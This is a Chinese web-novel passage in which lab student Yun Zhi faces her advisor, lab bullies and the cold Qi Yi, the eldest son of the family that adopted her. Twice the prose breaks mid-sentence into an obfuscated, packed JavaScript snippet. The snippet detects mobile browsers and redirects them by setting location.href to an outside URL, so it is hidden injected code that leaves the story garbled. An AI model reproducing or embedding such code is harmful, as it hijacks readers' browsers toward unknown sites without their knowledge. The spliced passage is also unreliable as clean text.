云销雨霁,晨雾将散未散,实验楼前灌木丛里零落的夜来香还残留馥郁的香气。 生科院点灯熬油是常态,这个时间逗留实验室,大多都是通宵打铺盖的。本该是宁静的时刻,可云枳还没进门就听见桌子被拍得砰砰响。 “……六盘96孔板全被你打翻了,三天努力付诸东流,你现在一句手抖就想把事情揭过去?” “那你想怎样?有时间在这里和我争吵,不如抓紧时间想想办法补救喽。” “补救?来,你告诉我,这种情况要怎么补救?!” 实验台前一头栗色短发、正据理力争的是比云枳小一级的学妹季可然,当同级人还在犹豫本科是否要进实验室、迷茫进实验室到底能做什么的时候,她已经凭着一纸推荐信进了大牛课题组。 原因无他,课题组大老板、享誉盛名的学界泰斗章逢院士是她的姑父。 尽管季可然本身专业知识还算扎实,平时做人做事也足够踏实低调,但学阀子弟一条路通天庭,她作为既得利益者,加上大课题组本身就不可避免存在管理混乱的问题,自打进了实验室,她明里暗里没少被针对。 “又不是我的实验,我怎么知道怎么补救。” 此刻对着季可然翻白眼的女生正是带头搞针对的人之一,争执间,她看见进门的云枳,立马往后一靠,眼里的不怀好意又加深几分,“喏,你的好学姐来了,想补救,找她啊。” 季可然一听,半含在眼眶的泪唰一下就涌出来。 明明进实验室才半学期,这个偶尔点拨她课业的学姐性子也从来都是淡淡的,两人关系算不上亲近,可本来还能极力忍耐的情绪在得知她出现后莫名像找到释放口。 “哟,怎么还哭鼻子了,别生气啊小学妹,我和你道歉,你大人不记小人过,可千万不要偷偷去找章院士告我的状才好。” 女生嘴上这么说,脸上挂着的却是有恃无恐的笑。 谁不知道章院士手里好几个实验室,海大生科院邀请他建立院士工作站,这里顶多算个孵化摇篮,户外带队考察占据了他大部分时间,除此之外,还有各种论坛会议需要他满世界飞。 一年中能回学校露面的次数少之又少,鞭长莫及不说,稍微有点脑子的人也不会用这种小事劳烦他。 “让一下。” 云枳走过去,平静地望她一眼,“你挡了我的实验台。” 她对眼前的一切视若无睹,事不关己的冷漠感反而起到震慑作用。 对方冷哼一声,象征性嘀咕了句“有什么好拽的”便悻悻然离开。 季可然吸了吸鼻子,委屈之余,心底单方面对云枳的信赖又多了几分。 云枳虽然也是实验室里被针对的一员,但她的情况不太一样,她绩点常年领跑全院第一,理论知识过硬,各项奖学金拿了遍,是章逢院士亲自点名进的课题组,还在本科期间就手握两篇一作sci,是真正的学术天才,也是真正在学术上流过汗吃过苦头的人。 她既漂亮又有能力,是众人心照不宣的事实。 但木秀于林,她太独立,对待周围人虽然礼貌客气但绝对谈不上热络,久而久之,那些和她做不成朋友又嫉妒眼红她的人就只能在背后诋毁她。 有说她卷生卷死坏了实验室气氛的,也有说她背靠祁家才被章逢另眼相待的,更难听的甚至开始恶意编排,造谣她吃着碗里的想着锅里的,明明有祁屿这个大靠山做男朋友,背地还和章逢不清不楚,发表的论文都是章逢亲自帮她代的笔。 不过背后诋毁归背后诋毁,她表面挑不出错,自然没人敢和这种硬茬当面撕破脸。 “云学姐,你稍等下,我先收拾一下台面。” 两人的实验台相邻,季可然抹了把眼泪骂了句bitch,强行恢复点精神。 云枳没说话,抬眼扫过去。 她离开前有整理的习惯,现下不知道谁吃的外卖垃圾丢在上面,用过的面纸被堆成小山压在她手工制作枳花标本上,烧瓶横七竖八地躺着,有一支碎了底试剂全部漏了出来。 不是第一次有人违反安全守则在她实验台这么干了,如今有愈演愈烈的意思。 “MTT想要一次成功并不容易,科研本就是试错,你就当磨炼耐心。” 云枳收拾完垃圾,破天荒对着哭丧着脸的季可然主动安慰道。 “学姐,我不是怕失败。”季可然抬起脸,语气忿然,“我都做了一箱板了,好不容易出来点趋势,这些人不是手抖就是先斩后奏擅自用我的PBS,要是他们一直这样来恶心人,别说写论文了,到这学期结束实验报告我都交不出来。” 云枳给自己冲了杯咖啡,玩笑的口吻,“你可以按照他们说的那样,去章导面前告状。” “你就别拿我打趣了学姐,真干这种事,姑父肯定笑话死我,说我这么大了人际关系都处理不好。”季可然抓了抓脑袋,长吁短叹,“烦死了,都怪我老爹,非要让我进生科院,搞这种裙带关系落人口实。” 她趴在桌子上自暴自弃,“干脆让我老爹捐个新实验室算了,反正我身上也不多带资进组这一项罪名了……” “……” 家庭出身造成的教育资源倾斜是刺眼但客观存在的事实,云枳并不试图共情被资源掠夺的群体,也不打算理解季可然这种精英教育下诞生的思维。 至于为什么要插手,说到底,无非是这件事已经影响到她罢了。 她轻声问:“你想自己解决这个问题吗?” “当然!”季可然猛地直起身。 她扭过头,压低声音,“学姐,你是不是有什么办法?” “算不上什么办法。”云枳啜一口咖啡,轻描淡写,“想和这种只敢搞小动作的人相安无事,最有效率的处理方式是把问题闹大,一次性让他们忌惮你。” 季可然似懂非懂,云枳又道:“来找你麻烦的基本都是挣扎在延毕边缘的,他们要是想耗,对比起来,你最不缺的就是时间。” 云枳能有今天这样的成绩,季可然当然不会不知道她温良下的野心,可这还是第一次这么清晰地感受到她身上蕴藏的这股力量,劲劲的,有点陌生,又有点惑人。 她有被鼓动到,当即附和,“对!人不犯我我不犯人,既然他们想找我麻烦,那大家都别好过了!” 云枳的提示到此为止,即便是象牙塔里的公主,经过这段时间的捶打,这点手段和情商应该也是有的。 墙上的挂钟精准走秒,实验室里的时间枯燥又漫长,云枳有新思路,加上有心想逃避现实,一上午倒是忙碌得沉浸。 到了饭点,还是季可然先从饥饿中醒来,推起眼罩收了折叠椅邀请云枳一同去食堂。 云枳伸手摸了摸实验服口袋,火机和剩的半包烟还在。 “你去吧,我不饿。” 季可然自觉和云枳的关系还没到可以劝诫她好好吃饭珍重身体的地步,便又确认了一遍,“真不饿啊?要不我给学姐你捎一份?” 云枳笑着摇头,“真不用。” 在半山负责饮食起居的张妈是潮汕人,粤菜做得拿手,今早的烧麦佐航仔粥这会还在她胃里没消化完。 饿是真的不饿,但昨晚没休息好,半天实验确实有些疲乏了。 两人一前一后从实验室出来,同行下了楼在拐角处分别。 停云霭霭,冷空气卷起一地枯黄的落叶。 云枳走到实验楼后的背风处,地处僻静,她单手插兜,抿唇衔上一支烟,低头按打火机。 塑料防风打火机廉价但耐用,咔哒一声,火光猩红明灭。 等把火机重新揣进口袋,她才抬手夹烟。 祁屹走近时,看见的就是一道清瘦高挑的身影。 她身穿白大褂牛仔裤,略微凌乱的低丸子头,身后是一棵稀疏的梧桐。 额前一缕碎发垂落,似乎是遮了视线,她歪着头扬了扬脸,缓缓撩起眼皮,眼神倪着却没有具体落点。 指尖抵唇,指骨修长,是粉白圆润的甲型。 白烟将她的面容隔了一层纱,又拢出她顶级的骨相。 颓废,清绝。 出生钟鼎之家,祁屹对一切代表美好的事物司空见惯,这也构建了他独到、严苛的审美。 可即便这样,他也不得不承认,眼前这幅画面美得很有冲击力。 视线无声相碰,缥缈中,她微眯了眯眼,无意识望过来的眼神像在调情。 云枳定睛,短暂怔愣过后,不着痕迹地移开眼掐了烟。 她什么都没说,径直扭头,像压根没看见他,刚才的对视也只是他单方面的错觉。 祁屹的思绪从画面中抽离,整张脸骤然沉了几分。 “云枳?”一道中年男声叫住了她。 云枳脚步一顿。 虽然在学校里撞见祁屹是比撞见鬼还要令人惊悚的小概率事件,但她被捉了个正着,原先想直接无视,她可以揣着明白装糊涂,狡辩自己没来过这里,更何况事后祁屹是不会把时间浪费在确认刚才的人是不是自己这种无足轻重的小事上的。 只要不当面对上,就还有回旋的余地。 可惜现在事与愿违。 她闭了闭眼,呼一口气,硬着头皮转身。 “章导。” 着西装的中年男人气质不俗,镜框下的脸虽然有常年风吹日晒的痕迹,但一眼可见他的谨严端方。 章逢点点头,“正好有点事要找你,吃饭没?吃完饭来一趟办公室。” 他身后乌泱泱跟着一群人,其中几位是生科院的领导,其余看着装像些政府官员,此刻正围在他和祁屹身边,一副交谈甚欢的情形。 云枳简短应了几句,说自己晚点就到,没在这种场合停留太久,也始终没再看祁屹第二眼。 章逢刚从新加坡飞回来,想起每次作完报告回学校云枳几乎都雷打不动泡在实验室,对着祁屹感慨了一句:“你这个妹妹,沉得住气,吃得了苦,天生做科研的料。” “是么?” 祁屹视线朝着她离开的方向,脸上的情绪很淡,目光静而缓,叫人平白读出一种意味深长的审视,又叫人难以看出他心中真正所想。 一直走出很远,云枳才放慢步调,她潦草抓了几下头发,去盥洗间搓了把脸,最后回到工位,脱掉实验服打开手机看起文献消磨时间。 不好让章逢等自己太久,心里估摸着已经拖到祁屹一干人等差不多离开了,她才起身往章逢办公室的方向走。 办公室在顶楼,面积不算大,中式装修,摆设古朴,说是办公室,其实更像是个藏书阁。 书架上的藏书数量多,涉猎范围很广,章逢不常在这里停留,偶尔需要云枳帮她记录第一手的研究数据,便给了她这间办公室的使用权,于是这里的大部分书都留下了她的翻阅痕迹。 云枳轻车熟路穿过两排书架,很不幸,祁屹并未离开,他正坐在尽头茶案旁的沙发上,双腿交叠翻着本书,偶尔附和一旁的几位官员。 章逢看见云枳,立马唤了她一声,连犹豫到底要不要继续往里进的时间都没留给她,“上次那饼老班章收哪里去了?” 云枳略作思忖便走到橱柜旁找出茶叶,不等章逢吩咐,连同茶具一齐拿了出来,自觉伏到茶案边为客人泡茶。 她选了个相对离祁屹较远的位置,动作轻手轻脚,尽可能降低自己的在这一方空间的存在感。 屋内众人话题不断,却鲜少听见祁屹的声音。 奈何有的人天生存在感就太强,他只坐着,偶尔翻动书页,聊的东西并不需要他做出决断,但好像这里呼吸着的所有人潜意识里都在等他发话。 也恰恰因为他没有发话,所以这里的人都默认谈话不需要避讳云枳这个后来者。 于是她被动地从他们的谈话中捕捉到「医疗」、「生物」这些她熟稔的内容,也听见了「批文」、「政策」、「政治任务」一类略显严肃的字眼。 只稍跑神,描金茶具碰撞出清脆的一声响,祁屹掀眸看向她,面色不显,但平静的目光看得人心底发沉。 蒸气从壶口弥漫,云枳垂下眼,忽略心底那股突如其来的梗阻感,在心里祈祷水沸得快一点。 温杯洗茶,挫茶摇香,甫一斟完茶,云枳就起身,对着章逢道:“章导,我等您忙完再过来。” 她可不想一不小心听到什么不该听的。 章逢叫住她,“别着急走,上次问你关于申本校直博的事,你考虑得怎么样了?” 手握两篇顶刊,凭云枳的能力,申海大本校直博被录不过板上钉钉,章逢上个学期就和她提过这件事,但至今没得到肯定答复。 云枳停顿了下:“还在考虑中。” “你自家大哥要打五千万支票捐楼,还要成立企业奖学金,”章逢推推眼镜,“肥水不流外人田,这么好的机会,不要轻易错过了。” 云枳顿时心领神会,祁屹今天之所以会出现在这里,应该是有和海大的合作项目需要考察。 听章逢的语气,合作大概已经尘埃落定,所以他才会趁这个时机找自己聊这件事。 老实说,这个提议很诱人。 可说她眼高于顶也好,说她不识好歹也罢,她的选择从来没变过——她的目标是申到耶鲁的全奖直博offer。 生普的清香氤氲在鼻息间,但她无暇品鉴。无论祁屹现在有没有在听他们的对话,她都不想当着他的面和章逢剖白自己的决定。 见她在犹豫,章逢继续加码,“作为你的直博导师,无论你是想走学术还是就业,我都会给你规划好最合适的发展路径。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15900881|176623||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 此话一出,屋内的几人都有意无意分出了点注意在云枳身上。 “这待遇,章院士真是惜才。” 章逢看向云枳,笑得温和,“这孩子有天赋有灵气,执行力强,耐得住寂寞,也愿意往苦寒处攀登,遇到这种好苗子,不忍心浪费啊。” 毕竟有客人在,云枳不想驳了章逢的面子,只能谦虚地笑:“章导过奖了。” 她没忘记这里有个不待见她的人在,当着祁屹的面被夸奖,她莫名有些不自在。 “章院士为学术鞠躬尽瘁,对待得意门生,比对待亲生女儿还要亲。” “亲生女儿?我倒也想有这个福气。”章逢端茶饮了一口,“可惜清樾随了她爷爷,一门心思从商,对学术毫无兴趣。” “欸!话可不是这么说!章小姐爱做生意,祁先生又是非常成功的商人,这叫什么,这叫天造地设,珠联璧合呀!” 云枳短暂愣了下,大脑迅速整合信息得出结论:原来她这位院士导师,竟然还是祁屹未来的岳父。 毕竟只是导师和学生的关系,她只需要了解章逢的学术能力即可,先前并未深入打探过章逢的身份背景。 如今事实摆在眼前,云枳不免咋舌,原来在她不知道的情况下,她也算和章逢“沾亲带故”了。 啪嗒一声,祁屹合拢书籍,漫不经心捧起茶盏。 几位都是明眼人,看出来他大约是不想在眼下的场合被谈及私事,识趣地换了话题。 “章导,本校直博的事我再考虑一下,最迟这个礼拜之内给您答复。” 听云枳这么说,章逢也不好再逼太紧,叮嘱一句让她注意劳逸结合就放她出了门。 - 前脚踏出门槛,后脚云枳的口袋里的手机就震动起来。 “你在学校吗?”祁屿的声音略显沙哑,毋容置疑,他是翘了课睡到这个点刚醒。 “怎么了?” “蒋女士在从归榕寺回来的路上,今晚会在半山准备家宴。” 在云枳出声之前,祁屿提前一步,像要预判她,“爸爸说了,全员到齐。” 未出口的话被堵了回去,云枳往前踱步,不冷不热地反问一句,“之峤姐不是已经进组了,她也要回来?” “是。” “大哥,二姐,你,还有我。” 云枳正色下来,眸子里的笑意浅淡,近乎全无。 “我刚给大哥打了电话,他现在人在海大,我就不去接你了,你搭他的车回来。” 云枳一顿,刚想说“我可以自己打车”,听筒外笃笃的脚步声回荡。 她转过头,发现祁屹不知什么时候走了过来,看着她,神情疏离,眉目间隐约带了点不耐,在等她挂断。 祁屿又说了些什么,她没注意听,匆忙应了几句就撂了电话。 “还愣什么?”祁屹皱了皱眉头。 一阵风从走廊半开的窗格吹过,云枳蓦地打了个寒颤,回过神。 “麻烦祁先生。” 现在只有彼此,云枳很识趣地按照他的要求改了对他的称呼。 祁屹领路,走在前面,云枳亦步亦趋地跟着,眼前的人身高腿长,步子迈得沉稳,并不算快,但要保持标准的社交距离,她只能稍稍加快自己的步调。 没人再说话,气氛静下来,云枳盯着他的背影,鬼使神差地,她想到昨晚在宴会上听见的那句“身材堪比男模”。 悄无声息中,她好像透过他紧绷的黑色西装看见了底下藏着的鼓囊囊的肌肉。 这人如果破产了,当个男模兴许真的能稳定有口饭吃。 正为自己的想法好笑,男人突然转身停下脚步,云枳措手不及,径直撞向面前这堵人墙。 换一个不知情的人来看,她现在完全是对祁屹投怀送抱的姿势。 云枳迅速撤开身子,不禁要骂自己昏了头。 “抱歉祁先生,刚走了个神。” 祁屹站在原地不动,静静盯着她。 半晌,他似乎明白了什么,轻嗤了声,一副看穿她把戏的表情。 这声笑很突兀,很刺耳,他甚至懒得解释自己为何忽然发笑,云枳很清楚他心里在想什么。 她自诩不是情绪大起大落的人,可眼前这个试图用教养伪装傲慢的男人,令她有些火大。 祁屹先一步上了车,司机单手虚虚护着车顶,为云枳打开了劳斯莱斯后排的另一边的车门。 长轴幻影缓缓起步,一千八百万级的行政界天花板座驾高车头长车身,光气势就是压倒性的存在,黑色银顶的外观更是吸睛,奢华与威严并驾齐驱,穿过熙攘的校园门时,毫无意外收到一众路人的注目礼。 不等吩咐,司机自觉升起挡板,提速驶往主干道。 全隔断的后排空间足够宽敞,手工制作的星光顶篷复刻出富尔卡山上空的星座,奢华的内饰灯光暗下,同坐后排的两人,中间像隔了一条银河天堑。 云枳头朝向车窗闭目养神,在祁屹电话会议里各种专业词汇的催眠下生出点困顿。 睡意悬于一线,身旁突然没了声音。 她眨眨眼歪过头,恰好撞进祁屹的视线。 祁屹合上笔电,从定制的便携雪茄柜里取出一支点上。沉沉吸一口,辛辣的白烟在车厢内窜开。 祁屹漫不经心地睇她一眼,没有温度,只有探究,“闻不了烟味?” 一语双关。 瞬间,云枳困意全无,心中警铃大作。 抽烟是她进实验室不久后染上的习惯,搞科研的,熬夜加班加点是基本功,最开始用咖啡顶,后来和士多店的老板娘混了脸熟,有次被丢了根烟,一来二去的,她从被呛出眼泪到学会过肺。 这是她第一次对某件事上瘾,除了解乏,她竟然有些沉溺这种挑战意志的感觉。 她没觉得这是件需要人尽皆知的事,就没选择告知祁屿。 谁能想到会惹出这种误会? “祁先生自便就好。” 明知祁屹这么问不是照顾她的感受,单纯是事后清算的意思,云枳还是硬着头皮就坡下驴。 意料之中的回应,祁屹吁出烟雾,冷冷一笑,“云小姐,你很有本事。” 回国短短两天不到,已经有三个男人在他面前维护她、把她夸到天花乱坠了。 她很有招人喜欢的本事。 招男人喜欢的本事。 云枳坐直身体,听出他话里的讥讽,垂着眼,不接招。 “凭借你的皮相,即便没有小屿,光学校里应该都有大把少爷心甘情愿排队给你花钱。” 祁屹半掀起眼,眸色深处暗流涌动,“我不知道你们的感情到了什么程度,按照约定,祁家已经负责你到成年。” 他静了片刻,掸掸烟灰,口吻慢条斯理,“看在祁家这几年的抚养之情,你放过小屿,如何?” 4. 红绳 雨过的深秋午后,天色阴晦。 车外的景色变了又换,不知何时喧闹的城市街道已经被甩在后面,视线所及,是不比往日蔚蓝但依旧绵延不绝的海岸。 净化系统无声运作,劳斯莱斯里的一切趋于静音。 祁屹显然是在等她的回答,雪茄烟雾里只残留点肉桂和雪松木的清淡气味,云枳的眼眶却发红泛泪。 香烟和雪茄的味道不尽相同,她感官敏感,如果不是她会抽烟,此时一定早已被呛到咳嗽。 加上心底那股窒息感,她一度想要降下车窗,呼吸两口外面自由的海风。 “祁先生,你情我愿的感情,没有谁放过谁这么一说。” 很委婉的说法,云枳想,稍微通晓点人情世故,这种时候都应该不会再追问下去。 “你情我愿?”祁屹提提唇角,仿佛被这个说法逗笑,“小屿和许家有婚约在先,而你名义上是祁家的养女、小屿的妹妹。云小姐是聪明人,这份你情我愿有多脆弱,你应该不会没有仔细掂量过。” 刺耳的话音落下,云枳顿时一口气不上不下地哽住。 她幡然醒悟,他这种人,是不需要懂得人情世故的。 脑袋里飞速运转,她索性把话说得直白:“阿屿他有多抗拒和许家的这门婚事,我想祁先生比我更清楚。” “那又如何?”祁屹淡淡出声打断她,“就算他真的要为某个人对抗家族联姻,那个人,也不会是你。” 倏然,他兀地一笑,“还是你要告诉我,你对小屿,是真心的?” “如果我说,是真心的呢?” 这种问题,回答多犹豫一秒都会彻底被判死刑。云枳扬起脸,更加直视他,“我和阿屿同吃同住十多年,他知我身份,我陪他度过最艰难的一段日子,石头缝隙里都能开出花,祁先生又怎么断定,阿屿该为之对抗联姻的人不能是我。” 她并非美而不自知的个性,相反,她很清楚自己的优势在哪,想对某个人示弱,不需要总是刻意扮无辜,小小忤逆一下,不经意间流露的三分幽怨七分倔强最逼真。 但云枳深知,十三年前福利院初见时发生的一切,注定了他对她根深蒂固的成见,所以她并不真的指望示弱能对这个一颗心犹如坚石的男人奏效。 果不其然,祁屹一副无动于衷的模样,“那云小姐的真心,未免太廉价。” 他甚至不屑于多看她一眼,接着冷冷道:“此刻将你们分开,就当减少他一些不必要的情感浪费。” 不是没见过她讲谎话,一套言辞如此流畅,滴水不漏的程度。 明知她的话毫无可信度,祁屹莫名生了点烦躁。 不再给她开口的机会,他草草灭了烟,像是对这场没有营养的对话耐心告罄,声线里带了点警告:“祁家给你的已经够多,云小姐,想要继续安然待在祁家,就收起你的野心,不要再贪得无厌,妄想永远不会属于你的东西。” 还能有什么永远不会属于她的东西? 财富、名分、地位,总归是祁家能为她带来的一切。 这些年,这种程度的奚落云枳听过太多,本该觉得麻木才对,却还是没忍住掐紧手心。 方才上车前那阵心火此刻死灰复燃,她深呼吸几口,没再说话,径直降下车窗。 咸湿的海风争先恐后灌入车厢,将她的发丝吹乱,也将祁屹面前的文件纸张吹得哗啦作响。 “你在做什么?” “开窗透气。”云枳面朝外,头也没回,“如果祁先生连这点要求都不能满足我,干脆停车把我丢下去好了。” 提高的几分贝音量伴随猎猎作响的风声,连带着那点含嗔的薄怒都显得更有气势。 寻常招数在祁屹这里行不通,话说到这般地步只能撒泼打滚故意耍无赖。然而她发自内心地认为,就算真的被他从车上丢下去,滋味也好过现在这样被架在火上炙烤。 祁屹皱眉,刚要发话,右拐时突然窜出辆抢灯的车子,司机点了个稍急的刹。 云枳身子不受控制往一边倒,抬手想要保持平衡,祁屹条件反射地扶了扶。 一阵短暂的力道拉扯,祁屹低头,看见那根安静断在自己指骨上的红绳。 啪嗒,有一颗温热的水珠落在他虎口处的脉搏之上。 祁屹动作一顿,终于给她正眼。 面前的人眼睛瞪得很大很圆,眼尾泛红,呼吸急促,泪水同她的表情一样倔强,滚圆的几颗砸落而下,并未在她素净的面庞留下泪痕。 等反应过来,他几乎是立刻松开她。 “哭什么?”祁屹的语气十分强硬。 从他手里取回绳子握在手心,明明眼泪还没止住,云枳却一点动静都不发出来,只有肩膀微小的抽动幅度暴露她的情绪。 “一根红绳而已,有什么好哭的。”祁屹降了几分音量,自以为在哄,实则听着很僵硬,更像质问。 她垂着眼,不为所动。 祁屹终于败下阵,头疼般捏捏眉心,“……别哭了,是我不小心。” 云枳别过脸,轻颤道:“这是我和阿屿在寺里求来的红绳,五年了,我很少取下来过,它就像长在我的手腕上。” 红绳断裂处应当是反复扯动后最细最不堪受力的部分,裂得难以还原,除此之外整体保存得当,上面的一颗如意被磨到光滑,能看得出佩戴者的珍视和爱护。 心底的烦躁逐渐扩散,他松了松领带,耐着性子压着嗓音,“你需要什么赔偿,我会满足你。” “祁先生言重了,我不需要赔偿,这根红绳也并不值钱。” 云枳自然不是真的难过,借题发挥而已。 她在最恰当的时机收起眼泪,随即升上车窗,主动为这个插曲画上休止符。 “我没有责怪您的意思,绳子迟早会断,刚才失态,只是一时没有心理准备,我这个人有些恋旧,希望您理解。” 一番话音结束,车里重新陷入安静。 祁屹背靠座椅,双手交握,虎口的那滴泪早已冷却,一颗心却和他的脸色一样慢慢下沉。 大拇指指腹无声按压过去,明知是鳄鱼的眼泪,微妙的触感连同她流泪的模样却一直停在他的大脑皮层。 擦不掉,拂不开。 难以干涸,让他心浮气躁。 - 没多久,劳斯莱斯驶入一条上坡的柏油马路。 道路宽度略微变窄,来访者轻易便能看见路口处贴心立起的提醒私人道路减速禁鸣的标志牌,以及一座等人高的白色雕塑——背后一双收敛翅膀,安静仁慈地注目凝望。 是这条对外开放、拥有自主命名权的滨海观景线“AngeloCustode”命名的灵感由来。 行至坡的最高处远眺,两侧分别是一望无际的棕榈海岸和草坪绿荫地,还有远处山崖上被树篱环绕包围的华丽建筑群。 建筑群肉眼看似乎很近,实际车子下了坡,按照三十码的速度还得再跑十多分钟,才能抵达拦在唯一上山路段的警卫岗亭。 停车杆识别完车牌,放行后,是长达千米的监控路段。 到达别墅外墙前,每隔百米就有一架全景摄像头,谁从外面来,谁从里面出,层层把关筛查,没有一点监控死角,预留足够的变故应对时间。 半山多年前轰动海城一时的双生子绑架案发生后不久,一家权威媒体受邀报道,有幸得到机会深入参观。文字报道是这么写: 这套总占地近百亩的别墅庄园,地势融入自然,处高台远市肆,居山观海相映成趣。庄园内部安保系数极高,里面除了几栋起居空间和露台花园,还有毗邻的马场、停机坪、高尔夫球场等功能区域,当然,最瞩目的还是刚建成不久的双生钟塔。 这座双生钟塔具有特殊纪念意义,华丽程度媲美贵族宫殿。 被允许曝光的影像资料少之又少,有人质疑这篇报道内容言辞夸大,可实际情况却是有过之无不及。 随着祁氏夫妇搬离半山邸,这栋颇具沉淀的建筑逐渐淡出话题旋涡,除了居住者,没人知道,经年过后,翻修后的内部空间在保留岁月气息的基础上衍生出更多的现代元素—— 人工开凿的内陆湖,栈道连接改造后的双生钟塔天文台,室外覆盖不同朝向、分属13科31个品种的绿植墙,以及后山深处新开拓的近二十公里的环山赛车道。 尽管在半山邸生活十多年,云枳每每细思,都要感叹祁家深厚的底蕴。 要知道,年幼的她刚住进这里,不知多少次在一重又一重的拱门廊道处停下脚步,误以为自己是掉进了童话书上所描述的没有尽头的迷宫陷阱。 不过再风光,再气派,祁家也从不是她的乌托邦。 如今祁屹回国,这里甚至已经快容不下她了。 劳斯莱斯缓缓通过监控路段,最后一道金属格栅门识别打开,喷泉花园终于展露出明快的面貌。 三栋别墅立于花园之上呈品字排开,接壤连接的重蚁木地面和铺设砾石的小径蜿蜒交错,创造出连贯感,又使之相对独立。 车子还没在地面车库停稳,就见祁屿一身黑红赛车服从他的改装跑车上下来,摘掉头盔利索地甩了甩头。 等走近,他俯身,刚要敲后排车窗。 云枳率先推开车门,只看了他一眼,便一声不响径直往西厅的方向走。 祁屿:“……” 祁屹目光短距离地追随她片刻,拎着扯松的领带下了车,脸色并不算好看。 祁屿盯他一眼:“你惹到她了?” “……” “从大哥你回来,小枳就没再给过我好脸色。” 祁屿怀抱头盔跟上他的步伐,表情十足的冷酷,“她是有点怕你,也比较好说话,可真要把她惹急了,当心她哪天伸出爪子挠人。” 祁屹微怔,很快眼神凛冽起来,“……你很闲?” 看清祁屿身上的装束,他的脸色又难看几分,“旷课飙车,昨晚在书房给我保证,今天就喂到狗肚子里。” “这不是蒋女士要回来。”祁屿皱眉,有些心虚,又有些不耐烦。 “这段时间恐怕都没机会再碰车了,最后再过把瘾,大哥,你就睁一只眼闭一只眼吧。” “你还知道她要回来。” 祁屹冷冷牵起唇角,“还有一个半小时,爸爸会同她一起抵达半山。你该抓紧时间想想,待会怎么让他对你睁一只眼闭一只眼。” 祁屿满腔烦躁还没来得及脱口,一位梳油头、身穿黑西装的中年男人从马场的方向迎面走过来,目光在二人身上稍作逡巡。 毕竟是亲兄弟,二人都常年保持健身的习惯,此刻站在一起,无论是五官还是体格看上去都有七八分相似,但气质却迥然不同。 一个克己,一个肆意。 他毕恭毕敬地依次问好,紧接着询问是否需要准备下午茶。 祁屿摆了摆手,忽然又想到什么,碎碎念,“这个点回来,小枳做实验估计又没好好吃饭。” 他叫住中年男人,“距离晚饭还有一段时间,严伯,你让张妈先弄点吃的送到她房间。” “记得不要甜食,送去她也不爱吃,中餐就好,再备一碗四物番鸭汤……” 他只顾交代,并没有注意到,一步开外,背影颀长稳健的男人脚步几不可查地顿了顿。 但须臾之间,他重新加快步调,头也不回地往位正中最深处的起居室迈步。 - 自花园正厅右拐再往里走,穿过一棵海桐和一面绿植墙,入目的便是被垂直木壁板隔断出露天用餐区。 暮色四合,四面八方的庭院灯已然点亮。 环绕四周的篱墙下,栽种满各类香草和球根植物,迷迭香、巴格旦鼠尾草,“红灯笼”鸡爪槭、“查尔斯王子”铁线莲、“宫廷紫”长柔毛矾根、“阿兹台克珍珠”墨西哥橘等等,数不清的花朵随风摇曳,在不同季节下用层次丰富的气味和色彩组合装点这片庭院。 长桌主位正端着茶盏的女人眉眼清澈、气质温婉,澳白珍珠耳钉项链搭配素色衣裙,低调的装束难掩其风姿,反倒衬得她愈发从容优雅。 任谁都难以看出,面前这个贵妇如今已经是四个孩子的母亲,更不会料想到,三十年前,这位最爱唱k骑机车、和“乖乖女”半点不沾边的蒋家独女蒋知潼,婚后已经在寺庙里斋戒禅修了数十年。 “和他见面是你自己亲口应下的事,没人强迫你。”蒋知潼放下茶杯,手腕上的翡翠随着动作折射出碧绿的光。她笑了笑,“上次通话你还信誓旦旦,怎么现在又不开心? 紧挨在她身边,正光脚抱膝和她说着体己话的是祁家长女祁之峤。素颜低马尾、一身随意松弛的家居服,鼻梁上却架着副宽大的墨镜,让人难以看清她的表情。 如果有细心的人在场仔细辨别就会发现 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15900882|176623||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,她和娱乐圈这几年风光无两的新生代女影星乔栖只差一个荧幕造型的区别。 “我上次是因为……冲动,现在悔约还来得及吗?” 祁之峤没法坦白自己是因为失恋一时掉进情绪胡同才答应和联姻对象见面,等醒悟她并不需要用这种方式自我惩罚的时候已经晚了。 她双手合十,“我可以另找时间单独给他赔罪,妈咪,拜托拜托。” 蒋知潼目光宠溺又无奈:“可我听说,唐太一早从国外飞回来,就等着和她这位准儿媳见面,Joanne,你该为你的冲动买单。” “可我真的不想和他结婚啊妈咪!”祁之峤抱着她的胳膊,欲哭无泪状,“你答应过我,只要我不想,你和爸爸不会勉强我去联姻、嫁给不喜欢的人。” 蒋知潼看着自家女儿脸上露出的一点娇憨,不由得回忆起那个在十八岁成年礼上把“再晚都要嫁给爱情”当人生格言的天真少女。 同意她隐姓埋名闯荡所谓的娱乐圈,一晃多年过去,似乎很久没见到过她这么在自己面前撒娇卖乖。 蒋知潼没打算给她说出生在这个家庭很多选择都身不由己这样浅显的道理。 她的表情依旧如沐春风,“联姻不代表和爱情相悖,我和爸爸也是因为联姻走到一起,难道我们不好吗?” “难道你和爸爸很好吗?”祁之峤焦急着,想也不想道,“从你们搬离半山开始,都分居多少年了,早有小报说爸爸在外面有了新欢,昔日金童玉女中年感情危机,貌合神离就差登记离婚给新人让位。” “Joanne!”蒋知潼音量难得拔高了几分,打断她,面色凝重下来,“外面怎么说是他们的自由,可如果这话从你口中讲出来被爸爸听见了,他只会比妈咪更伤心。” 她叹了口气,“我和爸爸分居的理由你心里很清楚,我说的对么?” 祁之峤当然清楚。 这一切,都要从十四年前的冬天讲起。 